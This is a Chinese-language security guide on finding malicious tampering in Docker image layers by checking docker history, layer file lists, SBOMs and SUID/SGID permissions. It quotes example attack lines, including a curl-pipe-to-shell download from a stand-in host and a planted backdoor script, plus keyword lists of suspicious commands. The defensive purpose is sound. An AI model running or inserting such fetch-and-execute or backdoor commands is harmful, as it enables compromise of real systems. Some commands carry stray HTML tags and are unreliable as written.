关键在于将指令行为、文件变更、权限痕迹三者对齐,重点核查created by中的高危模式、size异常层及comment为空的可疑层,并通过layer digest提取实际文件变更、sbom比对和进入该层实测suid/sgid等权限指纹来确认恶意篡改。

直接看 docker history 只能知道“谁写了什么命令”,但无法确认“实际改了哪些文件”。要发现只读镜像层中被恶意篡改的特权指纹,关键在于把指令行为、文件变更、权限痕迹三者对齐——不是找“有没有 chmod”,而是查“哪一层、在哪个路径、以什么方式,偷偷设置了 SUID/SGID、写入了隐藏可执行体、或修改了关键系统文件”。
看懂 docker history 的真实含义
docker history --no-trunc <image></image> 输出的每一行,本质是某次构建指令(如 RUN 或 COPY)生成的只读层。但攻击者常在看似正常的指令里夹带私货:
- 一行
RUN apt-get install -y curl && curl -s http://x.sh | sh,history 只显示整条命令,不拆解它到底下载并执行了什么 -
COPY . /app后紧跟RUN echo '#!/bin/sh' > /app/.init && chmod +x /app/.init,history 会把这两步合并成一个层,掩盖后门脚本的植入动作 -
RUN pip install requests这类无害指令,若 SIZE 异常大(比如 120MB),很可能顺手解压了恶意载荷
重点关注三列:
-
CREATED BY:搜
sh -c、wget、curl、base64、/tmp/、/dev/shm/、chmod u+s、setcap、chown root: -
SIZE:几 KB 的层却执行网络请求 → 高风险;某层 SIZE 比前一层突增 50MB+,但指令只是
COPY→ 检查是否混入二进制或密钥 -
COMMENT:为空或写着
"",说明该层没对应 Dockerfile 记录 → 极大概率是构建时注入或中间镜像污染
提取并比对每层的实际文件指纹
光看 history 不够,必须验证“这一层到底改了什么文件”:
- 用
docker image inspect <image></image>获取RootFS.Layers列表(按顺序排列的 layer digest) - 对每个 digest,执行:
docker save <image> | tar -Oxf - "*/$DIGEST.tar.gz" | gunzip | tar -t | sort > layer-files-$i.txt</image>
得到该层新增/修改的所有路径
- 重点筛查:
-
/usr/bin/或/usr/local/bin/下非标准名称的可执行文件(如.x、_agent、runsvc) -
/etc/passwd、/etc/shadow、/etc/sudoers是否被修改(哪怕只加了一行) -
/proc/self/fd/、/dev/shm/、/tmp/目录下出现可执行文件或.so文件 - 所有
SUID/SGID文件:find / -perm -4000 -o -perm -2000 2>/dev/null(需进入该层验证)
-
结合 SBOM 和权限指纹交叉定位
恶意篡改往往伴随“组件与行为错位”:
- 用
syft <image></image>或docker scout sbom <image></image>输出软件物料清单,记录每个二进制/库的路径和哈希 - 将 SBOM 中的路径(如
/app/lib/malware-loader.so)反查属于哪一层 digest - 若该层在
docker history中只写着RUN pip install flask,但 SBOM 却出现未声明的.so文件 → 明确异常 - 特别关注高危权限指纹:
- 文件哈希匹配已知恶意样本库(如 VirusTotal YARA 规则)
- 二进制熵值 > 7.0 → 暗示加壳或混淆
- 脚本文件含
exec -a、bash -i、eval $(...)、硬编码 C2 域名或 IP
快速验证可疑层是否真能提权
不能只信指令,要实测该层是否具备执行上下文:
- 从
docker image inspect中找到目标层 digest(如sha256:abc123...) - 运行临时容器,挂载该层为根:
docker run --rm -it --entrypoint sh <image>@<digest></digest></image>
- 进入后立即检查:
-
ls -l /usr/bin/ | grep 's\|S'(找 SUID/SGID) -
cat /etc/passwd | tail -5(看是否有新增 root 用户) -
strings /usr/bin/curl | grep -i 'evil'(查硬编码域名) -
stat /tmp/.backdoor | grep Uid(确认是否属 root 且可执行)
-
不复杂但容易忽略











